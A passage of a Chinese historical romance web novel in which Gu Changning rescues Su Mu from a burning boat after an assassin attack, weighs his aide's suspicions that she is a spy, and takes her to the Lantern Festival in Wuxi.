一路随着小丫头往下而去,终于瞧见了一艘小舟垂在舱旁。几名小厮正控制着绳索等待二人,见到二人终于来了忙催到:“姑娘快上去,待上去后我们在放您下去。” 苏木也不想耽误大家,于是掀裙就要往舟里去,恰在此时苏木听到了什么如同爆破一般的声音。 她顿时紧张随即往四周瞧去,但却没瞧见不妥之处。 她问身旁小丫头:“你刚听到什么声音没?” 小丫头和几名小厮对视了刹那,随即连忙摆手:“没有啊,没听见。” 说罢像是生怕人不往舟里去,急忙又说:“姑娘快上去吧,等下水要是高了,船没了可怎么办。” 苏木狐疑地看向众人,可瞧见众人面色一脸平静地模样,她只好一整只脚踏上了小舟。 小舟有了重量便往下沉了沉,几名小厮还控制着绳索,见此立马又收紧了几分。 “砰!” 这次的奇怪声音比上次更大,明显是从船舱底部发出的,苏木神经一绷随即发现了不对劲。 “不是的,什么声音,你们没听到啊!” 苏木从小舟上收回脚,语气很厉:“怎么回事?” 小厮还想打马虎眼:“船舱底部漏了水,估计是一些沉木撞上了栏杆。” “不是的!”苏木侧耳凝神,似乎还听到了些刀剑相撞的声音,她有些发怒:“我明明听到了打斗声!是什么情况。” 见人还在犹豫,苏木差点吐血,她发怒道:“我会武功,若是碰上急事,我或许还能帮着你家公子!” 一想到自家公子还在船舱地下和人打斗,小丫头有些沉不住气了,立马道:“姑娘,是刺客,他们不知道从哪来的,用刀砍破了底舱,然后从对头船舱底部而来,现在正和公子在下面纠缠,公子说我们帮不上忙,命我们先将一些不能自保之人送上小舟,他们一会儿就能跟上。” 苏木一听立马炸了,她攥着小丫头双肩问:“另外一名公子呢?你们公子之前救回来的那个,和他经常同行的哪个呢?” 小丫头被吓着了,这下哭的更凶:“在,也在下面……” 一听此,苏木脑袋轰地一声炸了,还没等人说完便匆匆往下舱而去。 尽管脚力不胜,但苏木依旧行的很快。 好啊,她是什么无力自保之人吗,她难道帮不上什么忙吗,他是看不起她,还是说自己又想变得生死不明,教上京那些等他的人干着急。 就算是为了老侯爷,她也得去帮他,看着他安全了才是。 左舱之上,顾长宁站在旁边看着黑影男子与多名刺客缠斗,瞧见最后一人被扬风钳制住后才面无表情地开口:“留一个活口,也方便将他们燕府的事情闹大才是。” 扬风斜手将人劈晕了过去,抱拳遵命。 扬风看了看尚且昏倒在顾长宁脚边的燕祐问道:“公子,这燕公子,怎么办?” 顾长宁垂眼看着脚下刚刚要护着自己,确被自己一掌劈晕的人道:“找人护送他们到巫溪去,不必将他唤醒。” “是,那公子,现在你随我们去吗?” 顾长宁看他一眼:“自是如此,你将舟放下去等一会,一会儿有人来和我们会和。” 扬风有些疑惑:“公子要等谁?这船上不是只有您还有燕公子吗?” 顾长宁看着手下将燕祐放入小舟上缓缓沉下,答:“很快你就知道了。” 所有人都从船舱中下来了,顾长宁下令放了火,随即想着之前叮嘱给众小厮的话,随着一行手下在远离画舫的江面上等着。 夜色沉沉,江面波寂,画舫火红如日垂落,泛起潋滟金色光芒。 顾长宁眯眼瞧着远处火光,耐心等着。 许久之后,终见一小舟缓缓行来。 顾长宁本是冷寂的面容终于露出了一抹喜色。 但随着小舟靠的越近,他就发现了不对劲。尽管今日月光不算明亮,可后面那轮金火早就把湖面照地透亮,人穿蓝色衣衫终究是瞧得仔细地,可那小舟之上,分明没有人。 难道是她晕船因此卧在舟上的? 顾长宁耐着性子等舟靠近,却在看见舟里之人后勃然大怒:“人呢!” 小厮哆哆嗦嗦:“侯,侯爷,姑娘,姑娘她听到声音了,知道你在下面后非要去一探究竟,我们拦不住啊,小六和小五已经去追了,船舱那边还留着一个小舟。” 顾长宁一听气的眼冒金星,瞬即抬腿将人一踹:“混账!我不是让你们必须将她带下来与我会合嘛!” 扬风很少见自家公子发如此大怒,但见顾长宁如此着急,随即开口:“公子要寻人,我去找,是谁?” 顾长宁那还有空跟人解释,他瞧着对面火光冲天的船舱,一时气恼地恨不得将自己也踹上两脚,想起现在离自己刚才下令放火的时间,他顿时觉得自己血液都如同要爆炸了般。 他单手将小厮从舟上拎了下来,然后一跃而上,虽没有回头但还是对着身后扬风道:“我亲自去!” 扬风瞧见舟上奋力划着桨的人感觉有些不妙,于是又命人腾出一架小舟,自己也紧跟其后。 顾长宁行的很快。他很恐惧,他怕失而复得之人真的消失,真的葬身火海。 他不敢想。 他奋力划着桨,直至小舟停靠在被火光烟雾笼罩的画舫旁。 第85章 夜里的江面被画舫的烈焰烧得通红, 浓烟裹着火星在风中狂舞,墨色天幕与暗蓝色江面连成一片。 顾长宁立在小舟上, 木浆在手中几乎要被攥裂了一般,他的目光死死钉在那艘熊熊燃烧着的画舫之上。 远处可见的是残垣断梁被火舌吞噬,不时发出些劈里啪啦的崩裂声,砸入江面时很快便消逝不见。热浪隔着数丈,江面热度却灼烧着人面。 顾长宁眼底烧地慌,每一次击桨声都无比急切,画舫四周的跳板绳索早就被烈火熔断, 船体逐渐有些倾斜。 “苏木!” 顾长宁喉间扯出一声嘶哑地呼喊, 可这声音太小, 混在火声和江声里被吞没地干净。 “苏木!” 依旧无人应他。 再等下去只有死路一条, 顾长宁心一横,手扯去了靛蓝色外袍, 纵身就要跃入有些温热地江水中去。可就在他屈膝的刹那, 他的眼神余光瞧见了一团素白的身影正在暗浪中沉浮,她的手臂正在无力地扑腾。 恍然间他突然想起了那日宫中景象, 他知道她不会水甚至是怕水。 苏木!顾长宁心底猛地一揪, 狂喜与惊悸攥住他的心, 他几乎是凭借着本能便跃进江里。 苏木进了底舱才发觉一人也没有,船舱木板上躺着的全是些蒙面的黑衣人,大火从船头烧了过来, 见人找不见,江面也没有舟,她只能跳进江里以免被火舌吞噬,她忘记自己不会水,因此当江水又冷又浑地席卷她时, 她几乎以为自己要就此去见了阎罗。 顾长宁指尖刚触碰到那片冰凉的衣料时便如同捞到了救命稻草一般将人携着往小舟方向而去。 刚上岸,因为挣扎过久苏木只觉得自己的肺腑被无形地密网笼罩,让她喘不过气,她刚想要咳几声却被呛地更厉害,于是喉咙里只能发出些破碎的呜咽。 顾长宁半跪在地,终于见她咳地没那么厉害了才将她一把圈在了自己的怀里。 他安抚她,平复她,一下又一下的拍击着她的背部,让她缓缓平静了下来。 顾长宁的力道很重,双臂如同铁箍一般将她扣地紧紧的,他似乎想要将人揉进自己血肉一般,指节因用力而有些发白,指尖却抵着她湿透的背脊而不住的发颤。 苏木浑身瘫软,呛水后的眩晕感还未消散,脑中也昏沉地发懵,被人箍地透不过气,苏木下意识地想要挣脱,却被人攥地更紧。 “苏木!”顾长宁的声音绷地像拉紧的弓弦,稍稍一用力便能崩溃涂地。 他的语气带着滔天的怒火与仍旧未消散的惊悸,滚烫的气息灼烧着她的头顶:“谁叫你回船舱的,你不是要跑吗!你不是要逃吗!你不是要离开我离开侯府吗!哪怕假纵一场大火,哪怕瘸了一条腿是吗!那你回来干嘛,回来找我干嘛!你知不知道,知不知道我要是再晚点,再晚点……” 他一声声的质问,声中除了极大地暴怒,最后的无力中还有一丝隐藏在下哽咽的委屈。 终于,他还是将这些话一一问出了口。 明明他说过,明明她答应过要等她!言而无信!言而无信! 话到嘴边被他喉间不上不下的哽咽所堵塞,他想想都后怕,更不敢将此话说出来。 他收紧手臂,将脸埋进她冰凉的颈卧,不住用鼻尖去蹭那一抹真实的温热。 “苏木,你有种。” 苏木惊魂未定的双眸中发出湿润而迷惘的光芒,她甚至还没反应过来自己究竟是怎么突然被捞上了小舟。 她怔怔地被他圈抱在怀里,终于在听到他唤她名字时清醒了几分。 “你……没失忆?” 顾长宁鼻音浓重地闷哼道:“嗯。” …… “你骗我?” 这下,圈住她的人手僵住了那么一刹,他松开双臂和她对坐,瞧着她湿乱的头发随意糊在脸上。 对上那双质疑的,充满血丝和湿热的可怜双眸,顾长宁解释道:“我不是有心骗你的,你看到了,今日这事说来话长,我不想将你搅和进来。” 苏木看着她,眸光有些木讷而涣散。她不是要怪顾长宁,她其实有些害怕。 回忆起刚被捞上小舟时他怒斥她的那几句话,她知道不需要他说,顾长宁全都知道。包括她对他最亲近的人下手这件事。 忽而,苏木觉得自己鼻头有些酸涩,这一个月来经历的种种,不管是误会顾家还是被囚在谢家,又或是自己腿伤未愈在来途中反复肿疼,又或是见到他发现他认不出自己的担忧诸如等等,在此夜终于爆发。 苏木的眼底如同洪水涌注,一时再也关不住,她任由泪水滑落满面,终于掩面而泣。 “对不起,对不起。” 苏木从不是一个软弱无能之人,也从不是随意在他人面前表露脆弱面的人,可现在她嘴里只喃喃这三个字,无助而迷惘,如同一个被抛弃地破旧娃娃。 顾长宁没想到眼前人突然而来的情绪崩溃,也从没见过这般的苏木,等他反应过来后他再次将人圈抱在怀里,心里是止不住地揪疼。 他不知道苏木所说的对不起是对着上京的那些事还是她落水这件事,但无论是哪一件,他现在都问不出口了。 不问了,他不问了。 你想要自由,你想要走,我都知道,我都知道的。 “我只是想,等我回去后……你想要走,都可以的,你不必要做这些。” 说到后面,他觉得自己说的话都太无力而苍白了,事情已经发生了。 他温柔的抚顺着她的脑袋,任由她将头贴在他胸膛里,给予她安全感。 “不问了,我不问了。” “没事的,我没事,父亲也没事,没事的苏木,我不怪你……” 不知过了多久,圈在怀里的人颤抖的幅度才逐渐变小。顾长宁顺了顺她的头发轻问:“你还好吗?” 怀里人抽泣声逐渐消失,随后发出一个带着浓重鼻音的嗯。 第一次瞧见她像一只乖顺的小猫蜷在他怀里,顾长宁根本不舍得松开,他想要给足怀里的人安全感,但眼下二人衣衫尽湿,若是一只这样在舟里缩着,只怕明日扬风他们只能见着两具尸体了。 他声音哑哑的,带着温柔:“我们先离开这面江好不好?” 苏木点点头,松开了梏住他腰身的手臂,离开时顾长宁瞧见了她面上的微霞。 顾长宁讶异了一刻后淡笑着抽身划桨。 二人相顾无言,直至回到凌风所在的新船队。 见到苏木扬风惊讶溢于言表,而苏木见到扬风则要平静许多。 要不是看见人真真切切地立在顾长宁身侧,扬风是真以为诈尸了。 毕竟那个时候传来苏木葬身火海地消息时,他也被惊得不行,除此之外他还要拦着不让病着得顾长宁连夜奔马回京。 回想起当日顾长宁难看的面色,扬风还如同历历在目一般。 一开始寻苏木的小五小六比他们两人先行回来,已经去船舱里面换衣取暖了,扬风领着二人进去,一路上看了苏木一眼又一眼。 顾长宁发觉了那目光有些不满道:“不是鬼,看穿了她也是人。” 扬风悻悻挠头,决定还是去船头望风去了。 饶是进了稍暖的隔间,苏木依旧觉得冷的不行,偏她又觉得自己一会儿热的不行,于是他摸了摸自己的额头,这才发觉自己又受寒发热了。 顾长宁自回来换完衣服后就守在她床边,见她不舒服后唤来了大夫就诊,又盯着她把药喝得一干二净,这才罢休。 苏木躺在塌上,身上被被褥盖得严严实实只留一个脑袋在外面。发烧后她眼睛迷迷瞪瞪,失去了往日凌厉逼人之感,顾长宁越看越觉得可爱得紧,坐在塌边支颐着下颌淡笑着看她,脸上布满了柔和。 没多久苏木的眼皮就沉重地支撑不住,直接昏沉地睡了起来,不过途中她却很不老实,一个不注意就将被褥整个踢开,要不然就是两只手非要放在外面来。 顾长宁替她掖好被子就被踢开,再次掖好被子再次被踢开,无奈之下,他和衣躺在她身侧,将被褥给她压得严严实实,然后将手臂横在她身上,教她一动也不能动。 直到瞧见苏木额上冒出细密汗珠,他再用热水擦拭过后,顾长宁也才方向地睡下。 醒来时苏木被晨光晃得有些刺热,身上如同放置千斤秤砣一般压地她喘不过气,正要翻身时,看到了睡得正香地顾长宁。 他背对晨光而眠,没盖被子,将被褥全部压在她身上,睡得很安静祥和,让苏木不禁想起了他们成婚时的那早。 当时她醒来时顾长宁也是这般睡颜,只是后来她再没见过。 一瞬间身上那些不适似乎统统消散了,苏木就这样盯着眼前的人,瞧着背对日光只余阴影地那张脸。 仔细看来,顾长宁骨骼清明,下颌比之前凹地更深了,眉宇间多了些风霜,下巴上似乎还有些刚冒出头的小胡茬。 顺着记忆里的小红痣往眼皮上看去,眼皮的痣依旧在,但在旁边却多了一道细微的疤痕。 这道疤痕还带着淡淡粉色,一看便是新落下的,想来在战场上吃了不少苦,而眼前人也磨砺地更加成熟了。 她抬手描摹了那道疤痕,随后枕着这晨意暖光,和他一同再次入睡。 第86章 再次醒来时床上已没了顾长宁的身影。 床也不再是船上那一架。 她发烧可能烧糊涂了, 什么时候下的船也不知。现在所处之处是一个还算宽敞的屋子,陈设简单。 里头刚传来她起床的声音, 外面立马就进来了两个小丫头恭恭敬敬地进来候着,苏木随他们给自己洗漱宽衣,挑着间隙问:“小侯爷呢?” 昨晚看到了扬风她便知道,顾长宁的身份不需要再做隐瞒了。 至于顾长宁为什么要这样做,她没有立场去问,她只需要完成一开始来巫溪所决定的事情就足够了。 两个小丫头一个叫玉钦一个叫黄烟,两人都不是从上京带来的, 自然也不知道苏木的身份。玉钦回道:“小侯爷一大早就出去了, 说是让姑娘您多休息会儿, 所以奴婢们才没叫您。” 苏木点头又问:“那我们现在是在哪?” 玉钦又道:“回姑娘, 这里是巫溪州府,此处是巫溪知府, 我们是小侯爷安排伺候你的。” 苏木看着乖巧的二人, 虽然知道可能问不出什么却还是问道:“小侯爷何时回来,他去何处了?” 果然, 黄烟从旁边妆匣子拿出一只簪子为苏木簪上后道:“奴婢们不太清楚, 小侯爷没说这些。” 知道问不出什么了, 苏木起身离开屋子,她打算逛逛这府上,运气好的话说不定可以碰见扬风。 本来苏木以为顾长宁外出必定是要带着扬风的, 但令她没想到的是自己刚拐了两个弯就碰见了扬风。 他站在一处阁楼之下在同人说着什么事情,对方穿着不俗,年纪在四十多岁左右,苏木猜那便是州府大人了。 她不是不识趣的人,见到扬风在忙, 苏木退避到一处亭子下等着他。 扬风看见了他,他也显然没有要叫苏木过去的意思,而是很快的结束了二人的对话,走到了苏木跟前。 苏木抬眼看着这个好久不见,但似乎满脸写满敌意的人。 扬风一声冷哼从鼻尖发出:“你没死,当真是命大。” 苏木在上京时其实就察觉出了扬风不太待见自己,经过了上京那些糟蹋事,眼下扬风对她更是没好脸色了,她并不意外。 苏木笑了一笑:“我自然不会死,我也没想死。” 扬风居高临下地看着她:“公子以为你死了,你做事没考虑过他的感受,你想要走,不管是为了什么,走了就不应该再回来了。” 他为顾长宁打抱不平她不意外,但是她死了顾长宁会是什么样的感受,应该不会有什么感受吧,应该只是听说她给自己的亲人下了药自己却怒意无处发泄,甚至人已经死了的无法对证感。 应该是这样的。 可苏木的脑海里回想起了昨夜江上。他的身上明明也被江水给打湿地彻底,可他那么紧地抱着她,攥着她,好像给予了巨大的安全感。 苏木想起自己找顾长宁的目的,似乎觉得扬风说的没什么错。 她低头道:“你说的对,我不该再回来的。” 但随即她又抬头看着扬风,满是郑重其事地说道:“不过你不用担心,我在上京的身份已经死了,我和你家侯爷半分关系都没有了。”等我和他说清楚一些事,解开一些东西,我们就半点关系都没有了。 扬风并没有因为她的话放松半分,相反,他依旧冷冷看着她:“最好是你所说的那样。” 顾长宁不知道是什么时候站在二人身后的,扬风不知道是故意的还是真的没有看到,总之苏木所说的话一字不差的落到了顾长宁的耳中。 他负手站在庭中默默听完二人对话,一字不发。 他向前走了几步,直到苏木听到他的脚步声转过身来看着她。 意识到人可能听到了自己所说的话,苏木在对上他复杂的眸光后迅速的躲开了。 顾长宁看着苏木:“还没吃饭吧,巫溪的鲈鱼是一绝,我一会儿陪你尝尝。” “玉钦,你带她去用饭,我稍后就来。” 苏木很想离开这里,所以她没多做停留,她跟着玉钦走了。 苏木一走,顾长宁的脸色便难看的不行。 “扬风,你记得我之前跟你说过什么的。” 他的语气很冷,让扬风回想起了玉寮关的那个晚上。 这个女人根本就不简单,她先是潜入侯府书库给老侯爷下药,随即不是去了稽查司就是相府,她能够借助相府假死脱身,谁知道她究竟是不是相府故意留给顾长宁的奸细,这些事情并不是一个简简单单闳离阁的杀手可以说清楚的。 凌风被派保护或者说是跟着苏木的时候不止有一次传过消息来说苏木频繁往相府跑。 给谢辞桉治病?一个杀手能有什么机会接触到相府的那等人。 扬风有些不服气:“公子,她不是一个简单的人,之前你留她在侯府利用也好,和他逼不得已假成婚也罢,她总是装出一副不愿留下想要离开离开的模样,可这次她明明可以直接走,她为什么还要来找你,你就不怕她再将巫溪你所谋划的一切传给相府,你就不担心她就是那个有心之人……” “扬风!” 顾长宁突然的发怒止住了扬风还想要继续说下去的话。 顾长宁寒眸凝住他:“这些事情我都会一一查清楚,我会问清楚的。” 扬风不像上次那般止住了口,他本以为这个女人死了就算了,可她不仅没死,还伤害了老侯爷,还有脸来寻顾长宁,他总觉得自家侯爷被她下了蛊一般。 “怎么查?公子难道之前就没有查了吗?之前您还在京中时她就可以背着你夜赴稽查司,你走后她就更是肆无忌惮了!” 顾长宁青筋暴起,他听着扬风说的话没有一句不是在刺着他,可是扬风却还在继续说。 “您还记得吧,你得知她死讯后那么着急要赶回上京,为了她你差点被燕氏的人抓住丢了性命,而她呢?凌风却查到她好好的在相府待着,她离开相府时还是谢辞桉身边的暗卫郭安送她出来的,为了掩人耳目假装一身都是伤,谁知道她那瘸腿是真的受伤还是自己敲了做给你看的!” “还有在来淮州的路上,她身边明里暗里一直都有人跟着她,虽然查不出是哪一方的人,但在那半个月里她却突然消失了五六天!公子,你真的一点不好奇她去了哪里,不好奇她做了什么吗?” “我们明明将行动定在了陆路上,那条道上却突然埋伏了许多相府的燕伯的人,我们不得已改变计划和燕祐一同转水路,这件事究竟是不是因为她透露的,我相信公子你有自己的判断。” 顾长宁拳头攥得很紧,随着扬风所说的话他的眸色也越来越沉。 他其实也不是没想过,他本来想要提前离开淮洲的,但离开的那条路被泄露后敌方有所埋伏,他只能借着燕祐回巫溪而随之一起,刚好还能来一场救燕祐,给燕祐送上证据的戏码。 但提前走这件事究竟是谁泄露的,他不得知,可在几天后的酒楼里,苏木就那样巧合地出现在淮州府。 顾长宁面无表情的看着扬风:“我有自己的判断,也有自己的分寸,但你若是再这样不管不顾的乱说话乱做事,或者是做对她不利之事,我不会轻易放过你的。” 他很认真地看着扬风:“扬风,你是我的属下,我也把你当成我的兄弟,所以我不希望有一天你让我失望。” 说完,顾长宁并不顾扬风错愕的表情便径直离开了。 屋内,桌上的菜都很精致,有巫溪的清蒸鲈鱼、清炖蟹粉狮子头、春江老鲜等一些许多苏木叫不上名字的佳肴。 顾长宁坐在她对桌慢条斯理的夹着菜,时不时往她盘子里放了许多,面上看不出什么情绪。 苏木觉得气氛很是压抑,她轻咬了一口狮子头然后胡乱说道:“这鲈鱼是挺好吃的。” 顾长宁抬头看了眼她筷子夹得狮子头,然后又低头自己用饭。 苏木顺着他的视线自己低头看了看,然后尴尬地放下了筷子。 看她放下筷对面人才问:“吃不下吗?” “有心事?” 苏木抬头看他表情,问了自己非常想问的话。 “你既然回到了巫溪,上京应当也知道你的消息了,关于给老侯爷下药这件事侍卫不对,解药在我这里,你可以寄回去。”说着她从袖中掏出一瓶白瓷推向了顾长宁。 顾长宁送了一口白嫩鲈鱼进醉,咀嚼着没说话。 她其实想要以此为筹码让顾长宁不再有理由不解二人的蛊,可经过一番挣扎她还是觉得此事不应该与她二人之事相牵扯,而且顾长宁答应过她说婚姻一旦作废,蛊会给她解。 他已经失信过许多次,可苏木却还是相信了他这一次。 顾长宁放筷看着白瓷:“我爹的毒已经解了。” 他抬头看她:“而且你给他下的是致命的毒药,现在才将解药托我之手给他,是不是有些太晚了。” 他的托我之手无意识地咬地很重。 苏木以为自己听错了,皱眉看他:“致命?你误会了,我给老侯爷服下的是使人昏睡的药,并不致命。” 顾长宁看着她,似乎在寻找这句话里面的真实性。苏木自然看出来了,她突然意识到什么,但同样意识到自己现在说什么似乎都像是在狡辩。 不管是致命的药还是使人昏睡的药,关键都在于是她下的药,至于下的什么药,是否能要人性命似乎都不重要了。 顾长宁不在上京,有谁能证明呢。 “你不信便罢了,你应当能知道凌风给你传来的信,自然是老侯爷昏迷不醒等。” “不是。” 顾长宁很果决地否定道:“他说你假死的当日,我爹呕血不止,差一点命就没了。” 苏木察觉不对劲,有些惊悸地看向他:“不是的,我那药没有这样的威力。” 顾长宁将她的神色尽收眼底后答道:“他差点一点就死了苏木,所以你觉得我应该信你吗?” 苏木心狂跳个不止,不会的,她明明记得自己下的药不致人性命。可她又觉得也有些恍惚了,她害怕自己拿错了药。可她又坚定自己不会拿错,但她还是有些害怕的有些小心翼翼地问:“那,那老侯爷……” “无碍了,是祝余那里有和你之前一样的避毒丸,她救了我爹。” 苏木攥着汗津津地手骤地松开了,她放心地长舒了一口气:“那就好,那就好。” 顾长宁将她的动作、神情统统收入眼底,他不知道眼前人是真的担心还是演技太好,但他唯一可以确定的是,他愿意相信她,只要她说一句她没有。 所以顾长宁信了,她说她没有,她说她只下了致人昏迷的药。 尽管凌风说毒药是在那个他们最熟悉的地方发现的,他却还是相信了。 二人继续用饭却又各怀心思。苏木本想今日就提一提解蛊之事,可经过刚才这么一遭,她发现现在时机还不行,至少现在不能提。 顾长宁笃定她自己下的是毒药,那她现在提出要解蛊他若是不让她该怎么办,她难道要带着两条命去赴死报仇吗? 就算是她早就遣了镖局将巫师送到了巫溪,可这件事她却暂时没有提起。 此后几日就更没有机会了。 顾长宁似乎很忙,每日都早出晚归。他们二人唯一的碰面不是在午间膳桌上就是在晚间膳桌上。 他虽然不常见,但他还是安排好了她的一切,甚至给苏木找来了最好的大夫治疗她的腿伤。 至于顾长宁在外忙些什么他虽然不提,但苏木也听说了一些。 燕伯生了一场大病眼看着不行了,关于爵位货产等一系列的东西,燕伯的那位续弦妻子同燕祐争个不停。燕祐虽然痛恨顾长宁骗了自己,但也借着顾长宁的出谋划策和燕氏斗智斗勇,与此同时绍华郡县的灾后重建依旧是个不小的问题,顾长宁来回奔波时时带着一副疲相回来,苏木似乎更找不到机会提及此事了。 但也因为日日用饭的缘故,二人的关系好像无形之中更近一步了。 苏木为了日后好提起那件事,在知晓顾长宁每日回来的时辰后便会去厨房做些药膳或用心做些餐食给他。 顾长宁很喜欢她做的药膳的味道,因此苏木也越发的上心。 久而久之,每日一次同餐变为了每日三餐都在同一桌。 表面看来二人之间的关系变得比在上京时更加和谐更加融洽,但在这些表面之下是从不触及对方余事的隔阂。 他们看着更近了,却实则更远了。 这是苏木的感觉。 以前他们是合作关系,顾长宁在上京所做之事即使他不说她也会知道,或者是她不问顾长宁也会直接告诉她,但是现在顾长宁每日在外面忙着回来后却从不提那些事情。 最重要的是,顾长宁再没提起过问起过苏木为什么要下药,为什么要纵火,以及为什么又要来淮州找她。 可即使二人不说这些话题,苏木也猜顾长宁是心知肚明的。 有什么事情能让苏木千里迢迢从上京来到巫溪呢? 若说是因为苏木担心他的安危,顾长宁自己都不敢信。 所以只有一件事了,她想要解蛊。 只有提出这件事情,似乎苏木留在这里才说得通。 顾长宁坐在屋内烛火之下疲惫的揉着自己的眉心。 可她不仅没有说还日日为他做药膳,是想要弥补,是想要等待时机,还是真的想要探得什么情报? 顾长宁在防着苏木,尽管他一直安慰自己说是苏木从不问起。 来绍华郡县治理灾情时顾长宁查到了燕氏在私开铁矿,而这铁矿每年有大批都送往了巫溪周边得一座山上,扬风秘密去查过,燕氏在私造兵器。 这样得动作让顾长宁明白,谢相得野心已经越来越大,所以他需要瓦解为谢相做事的燕氏。 燕氏一族唯一不和燕伯和他那位续弦妻子做牵扯的就是燕祐…… 除此之外,在玉寮关那一战顾长宁俘虏了对方的一位副将,那位副将曾在三年前同周家和顾家有过一仗。 那位副将家中有妻儿等着他,他求顾长宁饶他一命,以此作为交换他可以告诉顾长宁一个秘密。 这个秘密让顾长宁头皮发麻同时也大为欣喜。 周家通敌之罪是谢均与寮州之间的交易。 他做计划要扳倒谢家。 他要为周家翻案,他要让顾家、要让父亲、要让娴妃不再受人掣肘。 他要放苏木自由……不管是为了什么,这一仗他只能赢—— 第87章 半个月后, 燕氏长子燕祐继承其父爵位,续弦妻子谢氏因谋夫罪被关押入牢。 燕祐和他的父亲并没有多深的感情, 为了避免株连九族的死罪,燕祐将私矿以及私造兵器等罪名暂时压下,而燕伯则全权交给顾长宁处置。 燕伯被顾长宁关在州府私牢中,他需要从燕伯口中橇出当年周氏被诬陷的证据,然后以他作为人证上京翻案。 这些事情加在一起,他不相信谢家还能鼎足朝堂。 时逢上元,顾长宁久未如此舒畅过。一切似乎都在按照期盼的方向而走。 这几天苏木瞧见顾长宁的心情似乎好了许多。 桌上, 苏木将最新炖的药膳端了出来。她用小碗给顾长宁盛满了一碗:“这次的药膳我新加了一味明目的药材, 这几日你在书房的时间似乎很多, 你眼睛本来就不好, 还是得注意点。” 顾长宁有些讶异地看着她,然后脸上露出了苏木很少见过的柔和。 顾长宁前几日是感觉眼睛有些干涩发糊, 他一直觉得自己是劳累过度休息休息便好了, 所以自己没当回事。没想到苏木将一切都看在了眼底。 他接过后喝下了一大口:“你辛苦了。” 他搁下勺子,苏木也思衬着有件事或许可以说出口了。 她刚要开口, 顾长宁先看向她:“明日上元节, 南方上元节和上京不太相同, 上京禁明火,但巫溪似乎有烟花可以看,你在蔺州呆过, 应该见过不少,你也许久没过过南方的上元节了吧,明日我们一起出去逛逛怎么样?” 苏木愣住了一刻,心口突然泛起了一阵酸意。她很久没同人一起过过上元节了,而且上元节……是沈府遇难之日。 她很想要拒绝, 可对上顾长宁那从未见过的明亮而期冀地眼神时,那句拒绝却怎么都说不出口。 算了,以后说不定都见不到眼前人了,一次上元灯节而已,陪他去吧。 她笑笑:“好啊。” 上元节那天苏木穿的是白色素纱衣,人人穿的喜气洋洋,她显得有些格格不入。 顾长宁没多说什么,但他的周身全然散发着放松与高兴。 二人走在路上,顾长宁看见了一个小贩卖着青面獠牙的面具。 他拿起一个覆在苏木脸上,面容朗朗:“去年的上元节,我第一次见你的时候,你应该就是戴着面具吧。” 面具后的人有些讶异:“你那个时候不是眼睛还看不见吗?” 顾长宁绕到她身后给她系上绑带,动作很是柔和:“你的脸撞上了我的肩膀。” “我跟你说抱歉,你说了一句没事就走了。” 顾长宁笑着说:“有那么一刹那,我竟然觉得你的声音很好听,虽然只有两个字。” “但是这个声音我不久后就又听到了,那个时候你还想要了我的命。” 苏木没注意到他给自己戴的面具长什么样子,她抬手在面具上摸索了两下,有些讪笑道:“我还以为你不记得我,毕竟那个时候你没见到我的脸。” 我以为我们的第一次见面,只有我一个人记得。 透过面具没挡住的眼睛,苏木偏头看着顾长宁的侧脸。他的面容其实和一年前没什么区别,只是轮廓更锋利了一点而已。 顾长宁低声笑着往前:“我记得的。” 走在路上,顾长宁买了一个糖葫芦递给苏木,他动作很自然,说的话也很自然:“我们第一次去阆华时见你吃过,这个味道不错,我见过燕祐吃。” 又过一会儿二人路过一家板栗铺子,糖色覆盖在板栗上发出诱人的光泽。顾长宁掏出碎银买了一大袋递给苏木:“这个板栗软糯香甜,扬风最爱吃了,你尝尝。” 再过一会儿,什么月饼、酥饼、糖糕塞的苏木满手都是。 苏木在顾长宁要买下一个莲花灯的时候凑近了他。 身边人流穿梭,声音嘈杂不堪,苏木凑得很近,几乎要亲上他的耳尖。 她没意识到。气息一下一下拂过他的耳尖:“别买了,我拿不下了。” 顾长宁偏头看他,僵住的背脊霎那间反应过来,他将苏木手中的东西都拿到自己手上:“我来拿,你拿花灯就好了。” 买花灯的老人看见这个场景笑得直咯咯:“这位郎君啊,你真是不通窍啊,居然让你娘子一路拿了这么久,看你娘子手都软了。” 苏木只是将落在袖子上的板栗往下抖了抖,没想到落在老板眼底还以为是自己的手抖了,苏木哭笑不得,竟然忘了先反驳自己不是他娘子而是说道:“老人家我没抖,我在抖衣袖上沾上的糖霜。” 老人家一副我早就看透的样子笑道:“小娘子这般好胜的性子是要吃亏的,有些事情还是需要告诉你郎君的,比如你拿不下了,比如其它什么事情,若是什么都不说,小事倒还好,日后多了会伤着感情的。” 老人家指了指原处正在吵架的夫妇说:“你看那对。” 苏木顺着看去,一时有些好笑。 “我走了这么久,你都不愿意帮我拿,你就是不在意我。” 那女子夫君无奈道:“我只顾着让你高兴,忘了这茬了,你原谅我好不好。” “不好,说明你根本都不在意我。” 男子无奈:“我不在意今日就不会带你出来了,你不告诉我我怎么知道!” “我不说你也应该知道。” “你就是不在意我!” …… 苏木看着吵架的二人,那女子突然看见了苏木的视线,于是看了眼苏木身后男子后瞪了苏木,语气非常不客气:“看什么看,别以为你夫君帮你拿东西就神气!” …… 苏木尴尬地转过身来,旁边人低笑了一声,虽然很轻,苏木还是听到了。 苏木将那女子的火气转移到了顾长宁身上,她瞪了顾长宁一眼:“你笑什么笑!” 顾长宁咳了咳正色道:“我没笑。” 苏木更生气了,提起花灯就往前走:“我耳朵又没聋。” 顾长宁跟在身后依旧笑个不停,他见苏木越走越急,一把拽住了她衣袖。 苏木被一股大力拽地转过了身子,随即她就感觉到自己嘴巴里多了一颗软糯香甜的板栗。 “好娘子,我不笑了。” …… 这句话一出口二人皆是一愣,特别是苏木本来填在口中的板栗因为张嘴愣住的那一刻滑向了喉咙,哽的她硬生生吞了下去,脸涨地通红。 苏木想,幸好戴着面具,他看不见。 顾长宁反应地很快,他看见苏木难受地哽着脖子便立马转身去买了一杯糖水。 苏木看着他的背影,许多情绪翻涌了上来。 她不顾顾长宁还在后面给她买东西,她心里很烦,莫名其妙的。 她想到了这也许是最后一次和顾长宁过上元节,想到顾长宁以后会和其他女子这般亲昵,想到顾长宁心里的人是娴妃,她就没来由地心里赌地慌。 她走的很快,一边不想让顾长宁这么快追上她看透她纠结地样子,一边又很想要顾长宁快点追上来。 这边顾长宁刚结账转头就看见没人影了,他看见远处人群中看着杂耍的苏木正要跟上去,扬风突然出现在他跟前。 “公子!不好了,燕伯被人劫走了!”! 顾长宁手中的糖水径直落在了地上,他纠结地看了看远处人群中戴着青面獠牙的人,然后又抬头看了看漆黑一片的天空。 扬风还在催促着他,顾长宁却突然问:“你知道巫溪的烟花什么时候放吗?” 